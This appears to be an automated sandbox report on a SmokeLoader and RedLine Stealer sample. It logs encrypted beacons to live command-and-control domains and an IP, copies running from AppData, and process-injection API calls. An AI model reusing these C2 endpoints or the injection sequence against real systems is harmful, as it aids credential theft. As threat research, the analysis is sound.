2024-10-07 13:02:40 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://klstdrudvxhgouey.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 278 Host: bestworldhools.com
2024-10-07 13:02:40 UTC	278	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 60 e4 1f 89 b0 c2 06 13 b3 2c 7a bb 5b c5 ee 61 00 e8 19 42 7f af d6 f1 4e dd fa 03 67 8e b4 3e bf 62 47 85 f5 6d 04 69 02 07 56 df 05 d2 9e db 26 cb 8e 5d 20 39 b1 0d 34 f2 38 15 f4 ce 9f b9 03 67 84 6f d9 6c a8 2d 66 97 10 d3 5c 60 64 73 5a c5 ce 50 b1 85 64 f5 19 7f 8c d0 d0 28 b6 ec 7b b4 bf fb d1 07 27 9d a5 81 43 27 90 0d 0b d8 16 4f 14 bf 57 19 51 f0 27 71 50 8a d6 c6 2e 7e a5 b1 01 8e 52 99 d6 aa 7b 32 39 27 d4 13 15 7c 2d 6a ea 0f fb ae 29 56 25 25 45 8f bd 77 58 33 38 86 fa fe 2a fa e9 0d f1 72 89 9e dc 97 0f cd 45 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<`,z[aBNg>bGmiV&] 948gol-f\`dsZPd({'C'OWQ'qP.~R{29'\|-j)V%%EwX38*rE
2024-10-07 13:02:41 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:02:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50029	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:03:02 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://dtojnsdaxdil.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 300 Host: calvinandhalls.com
2024-10-07 13:03:02 UTC	300	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 67 db 36 96 87 f8 49 4b ba 0a 38 9c 58 c3 80 61 32 c5 2d 5e 2f 94 c8 f6 40 e1 aa 40 7d f8 bb 20 e9 6e 71 e8 e1 0a 7c 66 7d 39 4f d8 09 db fc b2 4c f4 a9 65 15 45 81 0d 1a af 21 57 89 ff ae 86 2d 39 94 04 b0 76 82 37 5a 93 29 82 57 29 30 1f 59 f0 fa 7c 9d 8d 60 d8 52 1d 9c fc 9d 5a a6 9b 77 ae bc a8 a7 26 68 a9 ce c8 49 01 ce 02 07 ef 72 1b 4f b2 44 10 34 fd 3f 09 1e 85 cf e6 25 6f 9c ae 79 bf 32 e2 a6 b2 7e 60 29 56 fd 0c 69 1e 0d 3a b2 33 e6 c5 34 3f 17 37 54 c0 b6 4f 6e 0e 27 d9 8d 81 58 f1 c2 64 de 33 a2 bc b2 92 4b be 39 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<g6IK8Xa2-^/@@} nq\|f}9OLeE!W-9v7Z)W)0Y\|`RZw&hIrOD4?%oy2~`)Vi:34?7TOn'Xd3K9
2024-10-07 13:03:02 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:03:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50030	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:03:03 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mwlktdttfgqo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 270 Host: bestworldhools.com
2024-10-07 13:03:03 UTC	270	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 67 b6 33 be a4 ee 44 04 cc 25 3b a6 3b 8f 8a 3b 39 ac 05 22 5c 91 f8 c0 43 d8 cb 10 1f 88 fa 6a b7 22 51 8d 93 5a 07 60 7c 5a 21 c5 64 a5 fc 8b 51 fd 83 25 38 51 af 51 23 ec 4b 6c 94 88 8a 96 12 60 c1 7a ae 73 b9 67 70 cd 1c a4 46 52 2e 6c 51 e4 e3 06 e1 d7 1a d5 57 69 91 c8 8b 36 aa bb 1b e9 d8 f0 c7 46 3d dd cf 81 42 0e b8 57 1f 95 14 40 3d ed 37 72 33 f6 17 3d 07 fb c7 c2 61 70 c9 d3 12 af 64 f0 e7 dc 3d 64 1a 28 b6 00 76 4b 08 77 d5 3e e3 c0 1c 34 21 61 57 d7 b5 53 52 31 5c 9b d2 81 52 df ae 23 83 48 b0 9f f3 a2 15 94 34 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<g3D%;;;9"\Cj"QZ`\|Z!dQ%8QQ#Kl`zsgpFR.lQWi6F=BW@=7r3=apd=d(vKw>4!aWSR1\R#H4
2024-10-07 13:03:03 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:03:03 GMT Connection: close

Target ID:	0
Start time:	08:58:55
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\BzLGqYKy7o.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BzLGqYKy7o.exe"
Imagebase:	0x400000
File size:	447'488 bytes
MD5 hash:	D0D4805488E7E745515FFF2165D3CC05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:59:01
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:59:20
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\teihrdr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\teihrdr
Imagebase:	0x400000
File size:	447'488 bytes
MD5 hash:	D0D4805488E7E745515FFF2165D3CC05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:59:47
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\B9A0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B9A0.exe
Imagebase:	0x400000
File size:	445'952 bytes
MD5 hash:	0719C6940AABCC832DB40F7EE68A25DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000003.2593902376.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:00:01
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\teihrdr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\teihrdr
Imagebase:	0x400000
File size:	447'488 bytes
MD5 hash:	D0D4805488E7E745515FFF2165D3CC05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:00:11
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\jtihrdr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jtihrdr
Imagebase:	0x400000
File size:	445'952 bytes
MD5 hash:	0719C6940AABCC832DB40F7EE68A25DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000003.2830678754.0000000000530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	43.4%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 005B01D0 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005B01F8
Module32First.KERNEL32(00000000,00000224), ref: 005B0218

Memory Dump Source

Source File: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0059E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59e000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e7bbdf1561e7437a30e6eff91d414c57aaa9830f57a48993edeb72d12a2ac40f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D6F062365007156FD7203BF9EC8DAAFBAE8BF49725F101528E642910C0DAB0F8458661

Function 004E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004E024D

Strings

cess, xrefs: 004E018D
kernel32.dll, xrefs: 004E008F, 004E0095

Memory Dump Source

Source File: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 0081b0556e17fab112a9901bdf31d18a609d4019900529a049e2bf45be3bf3fc
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 51529974A00269DFDB64CF59C984BA8BBB1BF09305F1480DAE41DAB351DB74AE85CF14

Function 004E0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004E0223,?,?), ref: 004E0E19
SetErrorMode.KERNELBASE(00000000,?,?,004E0223,?,?), ref: 004E0E1E

Memory Dump Source

Source File: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 48ed06c69d374c95c1802b7477aefdcf9cd8afad3e06eac9cc97ddeb4b77a536
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BBD0123114512877D7002A95DC09BCE7B1CDF05B63F008421FB0DD9180C7B4994046E9

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
